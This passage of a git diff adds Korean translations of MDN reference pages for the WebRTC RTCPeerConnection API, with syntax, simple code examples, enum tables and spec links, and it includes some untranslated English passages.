아래 예제는 currentRemoteDescription 를 확인하고 객체의 typesdp 필드를 경고로 띄워줍니다.

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.currentRemoteDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentRemoteDescription', 'RTCPeerConnection.currentRemoteDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.currentRemoteDescription")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html new file mode 100644 index 0000000000..d516a3435f --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html @@ -0,0 +1,69 @@ +--- +title: RTCPeerConnection.generateCertificate() +slug: Web/API/RTCPeerConnection/generateCertificate +translation_of: Web/API/RTCPeerConnection/generateCertificate +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 generateCertificate() 메소드는 X.509 인증서와 해당하는 개인 키를 생성하고 저장합니다. 그리고 접근이 가능한 {{domxref("RTCCertificate")}}를 반환합니다.

+ +

Syntax

+ +
var cert = RTCPeerConnection.generateCertificate(keygenAlgorithm)
+ +

매개변수

+ +
+
keygenAlgorithm
+
키를 생성하는데 사용하는 알고리즘을 식별하는 {{domxref("DOMString")}}입니다.
+
+ +
+

RTCPeerConnection.generateCertificate() 은 정적인 메소드로, 따라서 인스턴스가 아닌 RTCPeerConnection 인터페이스에서 항상 호출됩니다.

+
+ +

반환 값

+ +

{{domxref("RTCCertificate")}} 객체에 대한 참조 값입니다.

+ +

예제

+ +
RTCPeerConnection.generateCertificate({
+    name: 'RSASSA-PKCS1-v1_5',
+    hash: 'SHA-256',
+    modulusLength: 2048,
+    publicExponent: new Uint8Array([1, 0, 1])
+}).then(function(cert) {
+  var pc = new RTCPeerConnection({certificates: [cert]});
+});
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-generateCertificate-Promise-RTCCertificate--AlgorithmIdentifier-keygenAlgorithm', 'generateCertificate()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.generateCertificate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html new file mode 100644 index 0000000000..c2d278cf1a --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html @@ -0,0 +1,78 @@ +--- +title: RTCPeerConnection.getConfiguration() +slug: Web/API/RTCPeerConnection/getConfiguration +translation_of: Web/API/RTCPeerConnection/getConfiguration +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.getConfiguration() 메소드는 호출 된 {{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체를 반환합니다.

+ +

여기서 반환되는 설정 값 은 가장 최근에 적용했던 {{domxref("RTCPeerConnection.setConfiguration","setConfiguration()")}} 혹은 setConfiguration()가 호출 되지 않았다면, RTCPeerConnection가 구성되면서 생긴 설정입니다. 이 설정은 연결에 의해 사용되는 ICE 서버의 리스트, 전송 정책에 관한 정보, 그리고 식별 정보를 포함합니다. 

+ +

Syntax

+ +
var configuration = RTCPeerConnection.getConfiguration();
+ +

매개변수

+ +

이 메소드는 입력 변수를 받지 않습니다.

+ +

반환 값

+ +

{{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체입니다.

+ +

예시

+ +

아래의 예제는 활성화된 연결에서 이미 사용 중인 인증서가 없다면, 신규 인증서를 추가하는 작업입니다.

+ +
let configuration = myPeerConnection.getConfiguration();
+
+if ((configuration.certificates != undefined) && (!configuration.certificates.length)) {
+   RTCPeerConnection.generateCertificate({
+      name: 'RSASSA-PKCS1-v1_5',
+      hash: 'SHA-256',
+      modulusLength: 2048,
+      publicExponent: new Uint8Array([1, 0, 1])
+  }).then(function(cert) {
+    configuration.certificates = [cert];
+    myPeerConnection.setConfiguration(configuration);
+  });
+}
+
+ +

위의 예제에서는 {{domxref("RTCPeerConnection")}}의 현재 설정을 가져 온 다음에, 인증서가 존재하는지 확인하기 위해 (1) 설정에 certificates값이 포함되어 있는지, (2) 길이가 0인지를 확인합니다.

+ +

만약 인증서가 존재하지 않으면, {{domxref("RTCPeerConnection.generateCertificate()")}}가 호출되어 신규 인증서를 만들어냅니다. 여기에 fulfillment 핸들러를 제공해서 새로 만들어진 인증서를 포함하는 배열을 현재 설정에 추가하고, {{domxref("RTCPeerConnect.setConfiguration", "setConfiguration()")}}에 전달해서 연결에 인증서를 추가합니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getConfiguration-RTCConfiguration', 'getConfiguration()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.getConfiguration")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html new file mode 100644 index 0000000000..e5c826c811 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html @@ -0,0 +1,60 @@ +--- +title: RTCPeerConnection.getIdentityAssertion() +slug: Web/API/RTCPeerConnection/getIdentityAssertion +translation_of: Web/API/RTCPeerConnection/getIdentityAssertion +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.getIdentityAssertion() 메소드는 식별 주장의 수집을 시작합니다. 이 메소드는 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "closed" 상태가 아닐 때에만 유효합니다.

+ +

이 메소드는 즉시 반환하게됩니다. 식별 주장이 생성 될 수 없다면, 객체에 {{event("idpassertionerror")}}가 전달됩니다. 

+ +

이는 자동으로 수행되기 때문에, 어플리케이션에서 RTCPeerConnection을 직접 다룰 일은 없습니다.명시적인 호출로 필요한 것이 무엇인지 정도만 알 수 있습니다.

+ +

Syntax

+ +
pc.getIdentityAssertion();
+
+ +
+
+ +

이 메소드에는 매개변수 혹은 반환 값이 없습니다. 

+ +

예시

+ +
var pc = new PeerConnection();
+
+pc.getIdentityAssertion(); // Not mandatory, but we know that we will need it in the future.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getIdentityAssertion-void', 'RTCPeerConnection.getIdentityAssertion()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.getIdentityAssertion")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getreceivers/index.html b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html new file mode 100644 index 0000000000..4f2802a7ac --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html @@ -0,0 +1,55 @@ +--- +title: RTCPeerConnection.getReceivers() +slug: Web/API/RTCPeerConnection/getReceivers +translation_of: Web/API/RTCPeerConnection/getReceivers +--- +
{{APIRef("WebRTC")}}{{SeeCompatTable}}
+ +

RTCPeerConnection.getReceivers() 메소드는 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. 이 배열의 각 요소들은 RTP 리시버를 나타냅니다. 각각의 RTP 리시버는 {{domxref("RTCPeerConnection")}}에 대한 {{domxref("MediaStreamTrack")}}의 데이터를 수신하고 디코딩 합니다.

+ +

Syntax

+ +
var receivers[] = RTCPeerConnection.getReceivers();
+
+ +

반환 값

+ +

연결에 대한 각 트랙마다 한 개씩 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. R연결에 대한 RTP 리시버가 없으면, 배열은 빈 상태입니다.

+ +

RTCReceiver 인스턴스에서 반환되는 순서는 명세서에 정의되어있지 않고, getSenders()호출을 사용해서 다음 배열의 요소로 바꿀 수 있습니다.

+ +

예시

+ +

tbd

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.getReceivers")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getsenders/index.html b/files/ko/web/api/rtcpeerconnection/getsenders/index.html new file mode 100644 index 0000000000..ca05cf45dd --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getsenders/index.html @@ -0,0 +1,55 @@ +--- +title: RTCPeerConnection.getSenders() +slug: Web/API/RTCPeerConnection/getSenders +translation_of: Web/API/RTCPeerConnection/getSenders +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}}의 getSenders() 메소드는 {{domxref("RTCRtpSender")}} 객체의 배열을 반환합니다. 배열의 각 객체는 하나의 트랙의 데이터의 송신을 담당하는 RTP sender를 나타냅니다. Sender 객체는 트랙 데이터의 인코딩과 송신을 확인하고, 조작 할 수 있는 메소드와 속성들을 제공합니다.

+ +

Syntax

+ +
var senders = RTCPeerConnection.getSenders();
+
+ +

반환 값

+ +

연결의 각 트랙마다 한 개의 {{domxref("RTCRtpSender")}} 객체 배열을 반환합니다. 연결의 RTP sender가 존재하지 않으면, 배열은 빈 상태입니다.

+ +

RTCRtpSenders 의 반환 값 순서는 정의되어있지 않고, getSenders() 호출을 통해서 다음 배열 요소로 바꿀 수 있습니다.

+ +

예시

+ +

tbd

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.getSenders")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html new file mode 100644 index 0000000000..98d79ccbc5 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html @@ -0,0 +1,63 @@ +--- +title: RTCPeerConnection.getTransceivers() +slug: Web/API/RTCPeerConnection/getTransceivers +translation_of: Web/API/RTCPeerConnection/getTransceivers +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 getTransceivers() 메소드는 연결에서 데이터 전송 및 수신에 사용되는 {{domxref("RTCRtpTransceiver")}} 객체의 리스트를 반환합니다.

+ +

Syntax

+ +
transceiverList = RTCPeerConnection.getTransceivers();
+ +

매개변수

+ +

없음.

+ +

반환 값

+ +

RTCPeerConnection에 대한 모든 미디어의 전송/수신을 관리하는 트랜시버를 나타내는 {{domxref("RTCRtpTransceiver")}} 객체의 배열입니다. 리스트의 순서는 트랜시버가 연결에 추가된 순서대로 정렬되어있습니다.

+ +

예시

+ +

아래 코드는 RTCPeerConnection와 연관된 모든 트랜시버를 중지시킵니다.

+ +
pc.getTransceivers.forEach(transceiver => {
+  transceiver.stop();
+});
+
+ +

설명서

+ + + + + + + + + + + + + + +
설명서상태코멘트
{{SpecName("WebRTC 1.0", "#dom-rtcpeerconnection-gettransceivers", "RTCPeerConnection.getTransceivers()")}}{{Spec2("WebRTC 1.0")}}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.getTransceivers")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html new file mode 100644 index 0000000000..9d7a094688 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html @@ -0,0 +1,85 @@ +--- +title: RTCPeerConnection.iceGatheringState +slug: Web/API/RTCPeerConnection/iceGatheringState +translation_of: Web/API/RTCPeerConnection/iceGatheringState +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCPeerConnection.iceGatheringState는 연결 인터페이스의 ICE 수집 상태를 알려주는 RTCIceGatheringState타입의 Enum을 반환합니다. 이 속성을 활용하면, ICE candidate 수집 과정이 언제 종료되는지 감지 할 수 있습니다. 

+ +

icegatheringstatechange타입의 이벤트 감시를 통해 이 속성 값이 언제 변하는지를 확인 할 수 있습니다.

+ +

Syntax

+ +
 var state = RTCPeerConnection.iceGatheringState;
+ +

+ +

반환되는 값은 RTCIceGatheringState타입의 Enum입니다. 

+ + + +

RTCIceGatheringState enum섹션

+ +

RTCPeerConnection.iceGatheringState 속성을 사용하게되면 반환되는 RTCIceGatheringState enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. icegatheringstatechange 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new"피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태
"gathering"ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태
"complete"ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 complete에서 gathering으로 다시 바뀝니다.
+ +


+ 예시

+ +
var pc = new RTCPeerConnection();
+var state = pc.iceGatheringState;
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-iceGatheringState', 'RTCPeerConnection.iceGatheringState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.iceGatheringState")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html new file mode 100644 index 0000000000..ad713beeda --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html @@ -0,0 +1,102 @@ +--- +title: 'RTCPeerConnection: icegatheringstatechange event' +slug: Web/API/RTCPeerConnection/icegatheringstatechange_event +translation_of: Web/API/RTCPeerConnection/icegatheringstatechange_event +--- +
{{APIRef("WebRTC")}}
+ +

icegatheringstatechange 이벤트는 {{Glossary("ICE")}} candidate 수집 과정이 변경되면,  {{domxref("RTCPeerConnection")}}의 이벤트 핸들러인 {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}로 전달됩니다. 이는 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성이 변경되었다는 것을 뜻합니다.

+ +

ICE가 처음 연결 candidate들을 수집하게되면 값이 new에서 gathering으로 바뀌게 되고, 이는 연결에 대한 candidate 설정들을 수집하는 과정 중에 있다는 뜻입니다. 값이 complete가 되면, RTCPeerConnection을 구성하는 모든 트랜스포트들이 ICE candidate 수집을 완료한 상태입니다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
취소가능여부No
인터페이스{{domxref("Event")}}
이벤트 핸들러{{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}
+ +
+

참고: ICE candidate 수집 과정이 완료되었는지는 icegatheringstatechange이벤트와 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 complete로 바뀌는 것을 확인하면 알 수 있습니다. 하지만, 더 쉬운 방법으로는 {{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}} 이벤트에 대한 핸들러가 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성의 값이 null로 변하는 시점을 체크하도록 할 수 있습니다. 이 속성이 null 값으로 바뀌었다는 것은 즉 모든 candidate 수집이 완료되었다는 뜻입니다. 

+
+ +

예시

+ +

아래 예제는 icegatheringstatechange 이벤트에대한 핸들러를 생성합니다.

+ +
pc.onicegatheringstatechange = ev => {
+  let connection = ev.target;
+
+  switch(connection.iceGatheringState) {
+    case "gathering":
+      /* candidate 수집 과정 시작 */
+      break;
+    case "complete":
+      /* candidate 수집 완료 */
+      break;
+  }
+}
+
+ +

아래처럼 {{domxref("EventTarget.addEventListener", "addEventListener()")}}을 사용해서 icegatheringstatechange 이벤트에 대한 변경을 감지하는 리스너를 추가 할 수 있습니다.

+ +
pc.addEventListener("icegatheringstatechange", ev => {
+  let connection = ev.target;
+
+  switch(connection.iceGatheringState) {
+    case "gathering":
+      /* candidate 수집 과정 시작 */
+      break;
+    case "complete":
+      /* candidate 수집 완료 */
+      break;
+  }
+}, false);
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#event-icegatheringstatechange', 'icecandidatestatechange')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.icegatheringstatechange_event")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/index.html new file mode 100644 index 0000000000..295552696c --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/index.html @@ -0,0 +1,356 @@ +--- +title: RTCPeerConnection +slug: Web/API/RTCPeerConnection +translation_of: Web/API/RTCPeerConnection +--- +

{{APIRef('WebRTC')}}{{draft}}

+ +

RTCPeerConnection 인터페이스는 로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 담당하며 원격 피어에 연결하기 위한 메서드들을 제공하고, 연결을 유지하고 연결 상태를 모니터링하며 더 이상 연결이 필요하지 않을 경우 연결을 종료합니다.

+ +

{{InheritanceDiagram}}

+ +

{{InterfaceOverview("WebRTC")}}

+ +

사용되지 않는 메서드

+ +

다음 메서드는 오래 전부터 사용되지 않았으며 모든 주요 브라우저에서 구현되지 않았습니다.

+ +
+
{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}
+
특정 {{domxref("MediaStreamTrack")}}와 관련된 신규 {{domxref("RTCDTMFSender")}}를 생성합니다. {{domxref("RTCDTMFSender")}}는 연결을 통해 {{Glossary("DTMF")}} 전화 신호를 보낼 수 있습니다. 
+
+ +

이벤트

+ +

{{domxref("EventTarget.addEventListener", "addEventListener()")}}를 이용하여 아래 이벤트를 리스닝하거나 이 인터페이스의 oneventname 프로퍼티에 이벤트 리스너를 할당할 수 있습니다.

+ +
+
{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}
+
RTCPeerConnection의 연결상태가 바뀌면, RTCPeerConnection 객체에 전달합니다. 이는 또한,  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다. 
+
{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}
+
원격 피어가 {{domxref("RTCDataChannel")}}을 연결에 추가하게되면 RTCPeerConnection 객체에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}
+
특정 ICE candidate가 원격 피어에 전달되도록 피어 연결에 요청을 보냅니다. 또한, {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}
+
ICE candidate를 수집하는 과정에서 에러가 발생하면 연결에 {{domxref("RTCPeerConnectionIceErrorEvent")}} 에러 타입을 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}
+
연결이 끊기는 상황과 같이 ICE 연결의 상태가 변하게되면 RTCPeerConnection에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
+ +
+
{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}
+
{{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}에 의해 반영되는 ICE 계층의 수집 상태가 변하면, RTCPeerConnection에 전달합니다. 계층의 수집 상태는 ICE 네고시에이션이 아직 시작을 안했거나 (new), 시작하고 candidate를 수집하는 중이거나 (gathering), 혹은 수집이 완료 (complete)된 상태로 나눠집니다. 이는 또한, {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}
+
연결과 관련이 있는 하나의 {{domxref("MediaStreamTrack")}} 객체가 있는 {{domxref("MediaStreamTrack.isolated", "isolated")}} 속성의 값이 변하면, RTCPeerConnection에 전달합니다. 만약 미디어 컨텐츠가 인증이 되어있지 않거나, 트랙이 cross-origin source (CORS)에서 오는 것이라면 트랙의 상태는 {{domxref("MediaStreamTrack.isolated", "isolated")}}이 됩니다. 이는 또한, {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
+ +
+
{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}
+
ICE 연결의 네고시에이션 혹은 네고시에이션을 다시 수행해야 할 때, RTCPeerConnection에 전달됩니다. 이는 연결이 처음 생성되는 순간뿐만아니라 네트워크 조건이 바뀌게 되면 발생합니다. 리시버는 offer를 생성하고, 이를 다른 피어에 전달하기위해 응답해야합니다. 이는 또한, {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}
+
연결의 ICE 신호 상태가 변경되면 signalingstatechange이벤트를 RTCPeerConnection에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.statsended_event", "statsended")}}
+
모니터링이 되던 statistics 객체가 삭제되면, statsended이벤트를 전달합니다. {{domxref("RTCStatsEvent")}}는 삭제된 객체의 마지막 리포트를 포함합니다. 마지막 리포트를 전달받고나서 여러개의 객체가 삭제되었다면, 여러 객체에 대한 마지막 리포트를 포함합니다. 예를 들어 연결이 종료되거나 삭제되면, statistics 객체는 삭제됩니다. 
+
The statsended event is sent when a statistics object being monitored is deleted. The {{domxref("RTCStatsEvent")}} includes the final report on the deleted object (or objects, if multiple objects have been deleted since the last report was delivered). A statistics object is deleted, for example, when the connection is closed and deleted.
+ Available as the {{domxref("RTCPeerConnection.onstatsended", "onstatsended")}} event handler property.
+
{{domxref("RTCPeerConnection.track_event", "track")}}
+
연결을 구성하고 있는 {{domxref("RTCRtpReceiver")}} 인스턴스들 중 하나에 신규 트랙이 추가된 후에, track이벤트를 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
+ +

사용되지 않는 이벤트

+ +
+
{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}
+
Sent when a new {{domxref("MediaStream")}} has been added to the connection. Instead of watching for this obsolete event, you should watch each for {{domxref("RTCPeerConnection.track_event", "track")}} events; one is sent for each {{domxref("MediaStreamTrack")}} added to the connection.
+ Available as the {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} event handler property.
+
{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to indicate that an identity assertion is available. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.
+ Also available using the {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}} event handler property.
+
{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to generate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.
+ Also available as the {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}} event handler property.
+
{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to validate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.
+ Also available using the {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} event handler property.
+
{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to deliver a received identity. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.
+
{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}
+
Sent to the RTCPeerConnection when a {{domxref("MediaStream")}} is removed from the connection. Instead of watching for this obsolete event, you should watch each stream for {{domxref("MediaStream.removetrack_event", "removetrack")}} events on each stream within the RTCPeerConnection.
+ Also available as the {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} event handler property.
+
+ +

상수

+ +

RTCBundlePolicy 열거체

+ +

The RTCBundlePolicy enum defines string constants which are used to request a specific policy for gathering ICE candidates if the remote peer isn't compatible with the SDP BUNDLE standard for bundling multiple media streams on a single transport link.

+ +
+

In technical terms, a BUNDLE lets all media flow between two peers flow across a single 5-tuple; that is, from the same IP and port on one peer to the same IP and port on the other peer, using the same transport protocol.

+
+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"balanced"On BUNDLE-aware connections, the ICE agent should gather candidates for all of the media types in use (audio, video, and data). Otherwise, the ICE agent should only negotiate one audio and video track on separate transports.
"max-compat"The ICE agent should gather candidates for each track, using separate transports to negotiate all media tracks for connections which aren't BUNDLE-compatible.
"max-bundle"The ICE agent should gather candidates for just one track. If the connection isn't BUNDLE-compatible, then the ICE agent should negotiate just one media track.
+ +

RTCIceConnectionState 열거체

+ +

The RTCIceConnectionState enum defines the string constants used to describe the current state of the ICE agent and its connection to the ICE server (that is, the {{Glossary("STUN")}} or {{Glossary("TURN")}} server).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new"The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).
"checking"The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.
"connected"A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.
"completed"The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.
"failed"The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.
"disconnected"Checks to ensure that components are still connected failed for at least one component of the {{domxref("RTCPeerConnection")}}. This is a less stringent test than "failed" and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. When the problem resolves, the connection may return to the "connected" state.
"closed"The ICE agent for this {{domxref("RTCPeerConnection")}} has shut down and is no longer handling requests.
+ +

RTCIceGatheringState enum

+ +

{{domxref("RTCPeerConnection.iceGatheringState")}} 속성을 사용하게되면 반환되는 RTCIceGatheringState enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. {{event("icegatheringstatechange")}} 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new"피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태
"gathering"ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태
"complete"ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 complete에서 gathering으로 다시 바뀝니다.
+ +

RTCIceTransportPolicy enum

+ +

The RTCIceTransportPolicy enum defines string constants which can be used to limit the transport policies of the ICE candidates to be considered during the connection process.

+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"all"All ICE candidates will be considered.
"public" {{obsolete_inline}}Only ICE candidates with public IP addresses will be considered. Removed from the specification's May 13, 2016 working draft.
"relay"Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered.
+ +

RTCPeerConnectionState enum

+ +

